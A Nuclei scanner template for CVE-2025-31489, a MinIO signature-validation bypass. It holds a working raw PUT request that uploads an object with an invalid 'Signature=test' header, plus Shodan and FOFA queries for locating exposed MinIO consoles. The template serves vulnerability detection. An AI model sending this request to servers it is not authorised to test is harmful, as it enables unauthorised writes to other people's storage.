id: CVE-2025-31489

info:
  name: MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access
    to - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.
  impact: |
    Attackers with knowledge of valid access keys can upload arbitrary objects to MinIO buckets using invalid signatures, potentially compromising data integrity and availability.
  remediation: |
    This issue is fixed in RELEASE.2025-04-03T14-56-28Z.
  reference:
    - https://github.com/minio/minio/pull/21103
    - https://github.com/minio/minio/security/advisories/GHSA-wg47-6jq2-q2hh
  classification:
    epss-score: 0.02193
    epss-percentile: 0.80116
  metadata:
    verified: true
    max-request: 1
    vendor: minio
    product: console
    shodan-query: http.title:"minio console"
    fofa-query:
      - app="minio-console"
      - title="minio console"
    google-query: intitle:"minio console"
  tags: cve,cve2025,minio,signature-bypass,intrusive,vuln

variables:
  bucket: "{{bucket}}"
  access_key_id: "{{access_key_id}}"
  object: "{{randstr}}.txt"
  region: ""

http:
  - raw:
      - |
        PUT /{{bucket}}/{{object}} HTTP/1.1
        Host: {{Hostname}}
        x-amz-content-sha256: STREAMING-UNSIGNED-PAYLOAD-TRAILER
        Authorization: Credential={{access_key_id}}/{{date_time("%Y%M%D")}}/{{region}}/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=test
        X-Amz-Decoded-Content-Length: 8
        Content-Encoding: aws-chunked
        X-Amz-Trailer: x-amz-checksum-crc32
        Transfer-Encoding: chunked
        Trailer: x-amz-trailer-signature

        8
        {{rand_text_alphanumeric(8)}}
        0

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(to_lower(header), "x-amz-id", "x-amz-request-id")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220224048ab8158a3464d8eda16645fec9adff66c7196c0c46e67b549b1275ad5cb02206af7d3f366a1139ef964107c2b1eef283fe7dcbe96ef13607d1ddf6fa6ab7a2d:922c64590222798bb761d5b6d8e72950